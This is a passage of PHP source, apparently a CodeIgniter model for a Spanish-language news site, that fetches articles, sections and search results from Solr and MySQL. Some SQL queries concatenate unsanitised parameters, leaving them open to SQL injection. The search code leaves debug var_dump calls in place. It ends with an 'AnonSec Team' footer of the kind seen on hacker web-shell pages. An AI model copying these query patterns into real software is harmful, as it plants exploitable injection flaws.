				$listado2[$k]['tag_tipo'] = $v['tag_tipo'];
				$listado2[$k]['tag'] = $v['tag'];
				$seccion_nombre = '';
				if(is_array($v['tag_tipo']))
				{
					foreach ($v['tag_tipo'] as $k2 => $v2)
					{
						if($v2==5)
						{
							$seccion_nombre = $v['tag'][$k2];
							
							if (isset($tags_color[$v['tag_id'][$k2]]))
							{
								$color = $tags_color[$v['tag_id'][$k2]];
								$nom_url = $tags_url[$v['tag_id'][$k2]];
							}
							else
							{
								$color_url = $CI->tag_modelo->dameNombreColor($v['tag_id'][$k2]);
								$color = $color_url['color'];
								$nom_url = $color_url['url'];
								$tags_color[$v['tag_id'][$k2]] = $color_url['color'];
								$tags_url[$v['tag_id'][$k2]] = $color_url['url'];
							}
							$listado2[$k]['seccion_color'] =$color;
							$listado2[$k]['seccion_url'] =$nom_url;
							
							break;
						}
						/*if($v2==5)
						{
							$seccion_nombre = $v['tag'][$k2];
							
							if (isset($tags_color[$v['tag_id'][$k2]]))
							{
								$color = $tags_color[$v['tag_id'][$k2]];
							}
							else
							{
								$color = $CI->tag_modelo->dameColor($v['tag_id'][$k2]);
								$tags_color[$v['tag_id'][$k2]] = $color;
							}
							$listado2[$k]['seccion_color'] =$color;
							
							break;
						}*/
					}
				}
				$listado2[$k]['seccion_nombre'] =$seccion_nombre;
				$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
				if ($hora_um)
				{
					$listado2[$k]['hora'] = $hora_um['hora'];
					$listado2[$k]['um'] = $hora_um['um'];
				}
				else
				{
					$listado2[$k]['hora'] = "";
					$listado2[$k]['um'] = "";
				}

				if(isset($imagenes[$v['id']]))
				{
					$listado2[$k]['destacada'] =$imagenes[$v['id']];
				}
				else
				{
					$listado2[$k]['destacada'] = NULL;	
				}

				if(isset($v['id_firma']) and is_array($v['id_firma']))
				{
					$listado2[$k]['firma_id'] = $v['id_firma'][0];
					$listado2[$k]['firma_nombre'] = $v['firma'][0];
				}
			}
				
			if (count($listado2) > 0)
				return $listado2;
			else
				return false;

			}

			catch(Exception $e){
				return false;
			}

		}


		public function dameSeccionesPrincipales(){

		$sql="select id, nombre, color from tag where id IN (2,3,10,11,6,134,4,377,379,533,388)";
		$query = $this->db->query($sql);
			if ($query->num_rows() > 0){
				$res = $query->result_array();
				return $res;
			}
			else
				return 0;


		}

		public function dameTemasQueSigo($tag){
			$sql = "select id, nombre, tipo_id as tipo from tag where id = ".$tag;
			$query = $this->db->query($sql);
			if ($query->num_rows() > 0){
				$res = $query->result_array();
				return $res[0];
			}
			else
				return 0;


		}


	public function dameQueSigo($usuario_id)
	{
		
		$sql="select ut.tag_id, ut.tag_tipo, t.nombre from usuario_tags_seguir ut
    			inner join tag t on (ut.tag_id = t.id)
   				 where usuario_id =". $usuario_id;
   		$query = $this->db->query($sql);
			if ($query->num_rows() > 0){
				$res = $query->result_array();
				return $res;
			}
			else
				return 0;
	}

	public function listadoPorFirma($firma_id,$edicion_actual,$inicio=0,$cantidad=20)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		/*if (is_array($firma_id))
		{			
			//$query = '(firma_id:'.$firma_id.')';
			$cantidad=count($firma_id);
			$query = '(';
			for($i=0;$i<$cantidad-1;$i++){
				$query .= 'id_firma:'.$firma_id[$i].' OR ';
			}
			$query .= 'id_firma:'.$firma_id[$cantidad-1].')';
			//echo $query."  ";
		}
		else	*/		
		
		$query = '(id_firma:'.$firma_id.')';
		

		$consulta = new SolrQuery($query);

		$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_actual.']');

		$consulta->addFilterQuery('habilitada:true');
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart($inicio);
		$consulta->setRows($cantidad);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		
		$res = $respuesta->response->docs;

		//Obtengo foto y seccion
		$tags_color=array();
		$tags_url=array();
		$aux= array();
		foreach($res as $k => $v)
		{
			$aux[]=$v->id;
		}

		$CI =& get_instance();
		$CI->load->library("varios_library");
		$CI->load->model("nota_modelo","nota_modelo",true);
		$CI->load->model("tag","tag_modelo",true);

		if(count($aux)>0)
		{	
			$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
		}
								
		$imagenes = array();
		if(is_array($aux2))
		{
			foreach($aux2 as $v)
			{
				$imagenes[$v['nota_id']] = $v['imagen'];
			}
		}

		//armo nuevo array
		$listado2 = array();
		foreach($res as $k => $v)
		{
			$listado2[$k]['id'] =$v['id'];
			$listado2[$k]['antetitulo'] =$v['antetitulo'];
			$listado2[$k]['edicion_id'] =$v['edicion_id'];
			$listado2[$k]['titulo'] =$v['titulo'];
			$listado2[$k]['bajada'] =$v['sumario'];
			$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
			$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
			$seccion_nombre = '';
			if(is_array($v['tag_tipo']))
			{
				foreach ($v['tag_tipo'] as $k2 => $v2)
				{
					if($v2==5)
					{
						$seccion_nombre = $v['tag'][$k2];
						//if ($tipo != 5)
						//{
							if (isset($tags_color[$v['tag_id'][$k2]]))
							{
								$color = $tags_color[$v['tag_id'][$k2]];
								$nom_url = $tags_url[$v['tag_id'][$k2]];
							}
							else
							{
								$color_url = $CI->tag_modelo->dameNombreColor($v['tag_id'][$k2]);
								$color = $color_url['color'];
								$nom_url = $color_url['url'];
								$tags_color[$v['tag_id'][$k2]] = $color_url['color'];
								$tags_url[$v['tag_id'][$k2]] = $color_url['url'];
							}
							$listado2[$k]['seccion_color'] =$color;
							$listado2[$k]['seccion_url'] =$nom_url;
						//}
						break;
					}
				}
			}
			$listado2[$k]['seccion_nombre'] =$seccion_nombre;
			$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
			if ($hora_um)
			{
				$listado2[$k]['hora'] = $hora_um['hora'];
				$listado2[$k]['um'] = $hora_um['um'];
			}
			else
			{
				$listado2[$k]['hora'] = "";
				$listado2[$k]['um'] = "";
			}

			if(isset($imagenes[$v['id']]))
			{
				$listado2[$k]['destacada'] =$imagenes[$v['id']];
			}
			else
			{
				$listado2[$k]['destacada'] = NULL;	
			}

			$listado2[$k]['firma_id'] = $v['id_firma'][0];
			$listado2[$k]['firma_nombre'] = $v['firma'][0];
			
		}
		
		if (count($listado2) > 0)
			return $listado2;
		else
			return false;
	}

	/*Para favoritas*/
	public function notas_favoritas($notas_id,$edicion_id=0)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		

		$cantidad=count($notas_id);
		$query = '(';
		for($i=0;$i<$cantidad-1;$i++){
			$query .= 'nota_id:'.$notas_id[$i].' OR ';
		}
		$query .= 'nota_id:'.$notas_id[$cantidad-1].')';	

		//$query = '(nota_id:'.$nota_id.')';

		$consulta = new SolrQuery($query);

		//if ($listado == 2)
		//	$consulta->addFilterQuery('edicion_id:'.$edicion_actual);
		//else
		$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_id.']');

		$consulta->addFilterQuery('habilitada:true');
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart(0);
		$consulta->setRows(20);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		
		$res = $respuesta->response->docs;

		//Obtengo foto y seccion
		$tags_color=array();
		$aux= array();
		foreach($res as $k => $v)
		{
			$aux[]=$v->id;
		}

		$CI =& get_instance();
		$CI->load->library("varios_library");
		$CI->load->model("nota_modelo","nota_modelo",true);
		$CI->load->model("tag","tag_modelo",true);

		if(count($aux)>0)
		{	
			$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
		}
								
		$imagenes = array();
		if(is_array($aux2))
		{
			$not_id_ayuda = 0;
			foreach($aux2 as $v)
			{
				if ($v['nota_id']!=$not_id_ayuda)
				{
					$imagenes[$v['nota_id']] = $v['imagen'];
					$not_id_ayuda = $v['nota_id'];
				}
			}
		}

		//armo nuevo array
		$listado2 = array();
		foreach($res as $k => $v)
		{
			$listado2[$k]['id'] =$v['id'];
			$listado2[$k]['antetitulo'] =$v['antetitulo'];
			$listado2[$k]['edicion_id'] =$v['edicion_id'];
			$listado2[$k]['titulo'] =$v['titulo'];
			$listado2[$k]['bajada'] =$v['sumario'];
			$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
			$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
			$seccion_nombre = '';
			if(is_array($v['tag_tipo']))
			{
				foreach ($v['tag_tipo'] as $k2 => $v2)
				{
					if($v2==5)
					{
						$seccion_nombre = $v['tag'][$k2];
						if ($tipo != 5)
						{
							if (isset($tags_color[$v['tag_id'][$k2]]))
							{
								$color = $tags_color[$v['tag_id'][$k2]];
							}
							else
							{
								$color = $CI->tag_modelo->dameColor($v['tag_id'][$k2]);
								$tags_color[$v['tag_id'][$k2]] = $color;

							}
							$listado2[$k]['seccion_color'] =$color;
						}
						break;
					}
				}
			}
			$listado2[$k]['seccion_nombre'] =$seccion_nombre;
			$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
			if ($hora_um)
			{
				$listado2[$k]['hora'] = $hora_um['hora'];
				$listado2[$k]['um'] = $hora_um['um'];
			}
			else
			{
				$listado2[$k]['hora'] = "";
				$listado2[$k]['um'] = "";
			}

			if(isset($imagenes[$v['id']]))
			{
				$listado2[$k]['destacada'] =$imagenes[$v['id']];
			}
			else
			{
				$listado2[$k]['destacada'] = NULL;	
			}

			if(isset($v['id_firma']) and is_array($v['id_firma']))
			{
				$listado2[$k]['firma_id'] = $v['id_firma'][0];
				$listado2[$k]['firma_nombre'] = $v['firma'][0];
			}
		}
		
		if (count($listado2) > 0)
			return $listado2;
		else
			return false;
	}


	/*Para Caja derecha de notas principal de cada seccion*/
	public function nota_bloque_derecha($tag_id,$edicion_id=0)
	{
		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		if (class_exists('SolrClient'))
		{
			$client = new SolrClient($options);
			try
			{
				$query = 'tag_id:'.$tag_id;	

				//$query = '(nota_id:'.$nota_id.')';

				$consulta = new SolrQuery($query);


				//$consulta->addFilterQuery('edicion_id:[* TO '.$edicion_id.']');
				$consulta->addFilterQuery('edicion_id:'.$edicion_id);

				$consulta->addFilterQuery('habilitada:true');
				$consulta->addSortField('id',SolrQuery::ORDER_DESC);
				$consulta->setStart(0);
				$consulta->setRows(1);
				$respuesta_consulta = @$client->query($consulta);
				$respuesta = @$respuesta_consulta->getResponse();
				
				$res = $respuesta->response->docs;

				//Obtengo foto y seccion
				$tags_color=array();
				$aux= array();
				foreach($res as $k => $v)
				{
					$aux[]=$v->id;
				}

				$CI =& get_instance();
				$CI->load->library("varios_library");
				$CI->load->model("nota_modelo","nota_modelo",true);
				$CI->load->model("tag","tag_modelo",true);

				if(count($aux)>0)
				{	
					$aux2 = $CI->nota_modelo->dameImagenesDestacadas($aux);
				}
										
				$imagenes = array();
				if(is_array($aux2))
				{
					$not_id_ayuda = 0;
					foreach($aux2 as $v)
					{
						if ($v['nota_id']!=$not_id_ayuda)
						{
							$imagenes[$v['nota_id']] = $v['imagen'];
							$not_id_ayuda = $v['nota_id'];
						}
					}
				}

				//armo nuevo array
				$listado2 = array();
				foreach($res as $k => $v)
				{
					$listado2[$k]['id'] =$v['id'];
					$listado2[$k]['antetitulo'] =$v['antetitulo'];
					$listado2[$k]['edicion_id'] =$v['edicion_id'];
					$listado2[$k]['titulo'] =$v['titulo'];
					$listado2[$k]['bajada'] =$v['sumario'];
					$listado2[$k]['fecha'] = $CI->varios_library->formatear_fecha_GTZ($v['fecha'],'d-m-Y');
					$listado2[$k]['url'] =$CI->varios_library->limpiarurl($v['titulo']).'.html';
					$seccion_nombre = '';
					if(is_array($v['tag_tipo']))
					{
						foreach ($v['tag_tipo'] as $k2 => $v2)
						{
							if($v2==5)
							{
								$seccion_nombre = $v['tag'][$k2];
								if ($tipo != 5)
								{
									if (isset($tags_color[$v['tag_id'][$k2]]))
									{
										$color = $tags_color[$v['tag_id'][$k2]];
									}
									else
									{
										$color = $CI->tag_modelo->dameColor($v['tag_id'][$k2]);
										$tags_color[$v['tag_id'][$k2]] = $color;

									}
									$listado2[$k]['seccion_color'] =$color;
								}
								break;
							}
						}
					}
					$listado2[$k]['seccion_nombre'] =$seccion_nombre;
					$hora_um = $CI->nota_modelo->dameHoraUM($v['id']);
					if ($hora_um)
					{
						$listado2[$k]['hora'] = $hora_um['hora'];
						$listado2[$k]['um'] = $hora_um['um'];
					}
					else
					{
						$listado2[$k]['hora'] = "";
						$listado2[$k]['um'] = "";
					}

					if(isset($imagenes[$v['id']]))
					{
						$listado2[$k]['destacada'] =$imagenes[$v['id']];
					}
					else
					{
						$listado2[$k]['destacada'] = NULL;	
					}

					if(isset($v['id_firma']) and is_array($v['id_firma']))
					{
						$listado2[$k]['firma_id'] = $v['id_firma'][0];
						$listado2[$k]['firma_nombre'] = $v['firma'][0];
					}
				}
			}
			catch(Exception $e)
			{
				$listado2 = array();
			}
		}
		else
			$listado2 = array();
		
		if (count($listado2) > 0)
			return $listado2;
		else
			return false;
	}

	public function buscador_interno($palabra,$edicion_actual,$pagina=1,$fechaDesde="",$fechaHasta="",$temas="",$firmas="",$fecha="",$inicio=0)
	{
		//echo "entro a buscador interno en slr";
		//var_dump($fechaDesde);
		//var_dump($fechaHasta);
		//RECIBIMOS FEACHAS Y CAMBIOS POR BARRAS
		//$fechaDesde = str_replace("-", "/", $fechaDesde);
		//$fechaHasta = str_replace("-", "/", $fechaHasta);
		$fechaDesde=date("Y-m-d",strtotime($fechaDesde));
		$fechaHasta=date("Y-m-d",strtotime($fechaHasta));
		//$fechaDesde = new DateTime($fechaDesde);
		//$fechaDesde->format('Y-m-d H:i:s');
		//$fechaHasta = new DateTime($fechaHasta);
		//$fechaHasta->format('Y-m-d H:i:s');
		var_dump($fechaDesde);
		var_dump($fechaHasta);
		//$fechaDesde = str_replace("-", "", $fechaDesde);
		//$fechaHasta = str_replace("-", "", $fechaHasta);		
		//var_dump($fechaDesde);
		//var_dump($fechaHasta);

		$options = array
		(
        'hostname' => $this->host_solr,
        'login'    => $this->user_solr,
        'password' => $this->pass_solr,
        'port'     => $this->port_solr,
        'path' => $this->path_solr
		);

		$client = new SolrClient($options);

		$palabras = explode("_",$palabra);
		$para_firma = str_replace("_", " ", $palabra);
		if (count($palabras) > 0)
		{
			$palabra = "";
			foreach ($palabras as $p)
			{
				$palabra .= $p." AND "; 
			}
			$palabra = substr($palabra, 0, strlen($palabra)-5);
		}

		if ($pagina > 1)
		{
			$inicio = ($pagina-1)*18;
		}
		else
			$inicio = 0;

		//COMIENZA BUSQUEDA DE MAS DE UNA PALABRA
		//Dividir palabra en espacios
		$palabrasArray = explode("+", $palabra);
				
		if(count($palabrasArray)>1){

			for($i=0;$i<count($palabrasArray);$i++){

			$palabrasArray[$i] = preg_replace("/%C3%B1/i", "n", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%A1/i", "a", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%A9/i", "e", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%AD/i", "i", $palabrasArray[$i]);
			$palabrasArray[$i] = preg_replace("/%C3%B3/i", "o", $palabrasArray[$i]);
			//TITULO
			if($i<count($palabrasArray)-1){
				
				$titulo = '(titulo:' .$palabrasArray[$i].') AND '.$titulo;
				
			}else{
				
				$titulo = $titulo.'(titulo:' .$palabrasArray[$i].')';
			
			}

			//titulo=fantino and titulo=manzur
			//or
			//sumario=fantino and sumario=manzur
			//or texto=fantiano and texto=manzur
			//SUMARIO
			if($i<count($palabrasArray)-1){
				
				$sumario = '(sumario:' .$palabrasArray[$i].') AND '.$sumario;
				
			}else{
				
				$sumario = $sumario.'(sumario:' .$palabrasArray[$i].')';
			
			}

			//TEXTO
			if($i<count($palabrasArray)-1){
				
				$texto = '(texto:' .$palabrasArray[$i].') AND '.$texto;
				
			}else{
				
				$texto = $texto.'(texto:' .$palabrasArray[$i].')';
			
			}

			//FIRMA
			if($i<count($palabrasArray)-1){
				
				$firma = '(firma:' .$palabrasArray[$i].') AND '.$firma;
				
			}else{
				
				$firma = $firma.'(firma:' .$palabrasArray[$i].')';
			
			}

		}

			$query2 = "(".$titulo.") OR (".$sumario.") OR (".$texto.") OR (".$firma.")";
		
		}else{
			$query2 = '(titulo:'.$palabra.')OR(sumario:'.$palabra.')OR(texto:'.$palabra.')OR(firma:"'.$para_firma.'")';
		}

		
		
		//FINALIZA BUSQUEDA DE MAS DE UNA PALABRA
		$query = '(titulo:'.$palabra.')OR(sumario:'.$palabra.')OR(texto:'.$palabra.')OR(firma:"'.$para_firma.'")';
		//$query2 = $query2." AND fechaAlta:[".$fechaDesde."T00:00:00Z TO ".$fechaHasta."T23:59:59Z]";
		$query2 = $query2." AND fechaAlta:2017-03-28";
		//1972-05-20T17\:33\:18.772Z 
		//1976-03-06T23:59:59.999Z TO 1976-03-06T23:59:59.999Z
		//".$fechaDesde." 00:00:00 TO ".$fechaHasta." 23:59:59
		var_dump($query2);
		$consulta = new SolrQuery($query2);
		//$consulta->setHighlight(true);
		$consulta->setFacet(true);
		$consulta->setFacetLimit(5);
		$consulta->setFacetMinCount(1);
		$consulta->addFacetField('tag_id');
		$consulta->addFacetField('id_firma');

		$consulta->addFilterQuery('edicion_id:[0 TO '.$edicion_actual.']');

		if ($temas!="" and is_array($temas))
		{
			foreach ($temas as $tag_id)
			{
				$consulta->addFilterQuery('tag_id:'.$tag_id);
			}
		}

		if ($firmas!="" and is_array($firmas))
		{
			foreach ($firmas as $firma_id)
			{
				$consulta->addFilterQuery('id_firma:'.$firma_id);
			}
		}

		$consulta->addFilterQuery('habilitada:true');
		$consulta->addSortField('fecha',SolrQuery::ORDER_DESC);
		$consulta->setStart($inicio);
		$consulta->setRows(18);
		$respuesta_consulta = @$client->query($consulta);
		$respuesta = @$respuesta_consulta->getResponse();
		
		$res = $respuesta->response->docs;

		if ($respuesta->response->numFound > 0)
		{
			$CI =& get_instance();
			$CI->load->library("varios_library");
			$CI->load->model("tag","tag_modelo",true);
			$colores_array = array();
			$nombre_array = array();
			foreach ($res as $key => $not) 
			{
					if (is_array($not['tag_tipo']))
					{
						foreach ($not['tag_tipo'] as $k => $tipo)
						{
							if ($tipo == 5)
							{
								$t = $not['tag_id'][$k];
								if (isset($colores_array[$t]))
								{
									$color = $colores_array[$t];
									$nombre = $nombre_array[$t];
									$urlt = $url_array[$t];
								}
								else
								{
									$color_nombre = $CI->tag_modelo->dameNombreColor($t);
									$urlt = $color_nombre['url'];
									$nombre = $color_nombre['nombre'];
									$color = $color_nombre['color'];
									if ($color_nombre['color']!="")
									{
										$colores_array[$t] = $color;
										$nombre_array[$t] = $nombre;
										$url_array[$t] = $urlt;
									}
									else
										$color = "";
								}
								$res[$key]['seccion_color'] = $color;
								$res[$key]['seccion_nombre'] = $nombre;
								if($urlt)
									$res[$key]['seccion_url'] = $urlt;
								else
									$res[$key]['seccion_url'] = '';
								break;
							}
							else
							{
								$tag['id'] = $not['tag_id'][$k];
								$tag['nombre'] = $not['tag'];
								$res[$key]['tags'][]=$tag;
							}
						}
					}
			}

			//echo "<pre>".print_r($res,true)."</pre>"; die();

			$facet_tag = $respuesta->facet_counts->facet_fields->tag_id;
			$facet_firma = $respuesta->facet_counts->facet_fields->id_firma;

			$retornar['notas'] = $res;
			$retornar['inicio'] = $inicio;//agregado para el paginador
			$retornar['encontrados'] = $respuesta->response->numFound;
			$retornar['facet_tag'] = $facet_tag;
			$retornar['facet_firma'] = $facet_firma;
			return $retornar;
		}
		else
			return false;
	}
}

?>

Anon7 - 2022
AnonSec Team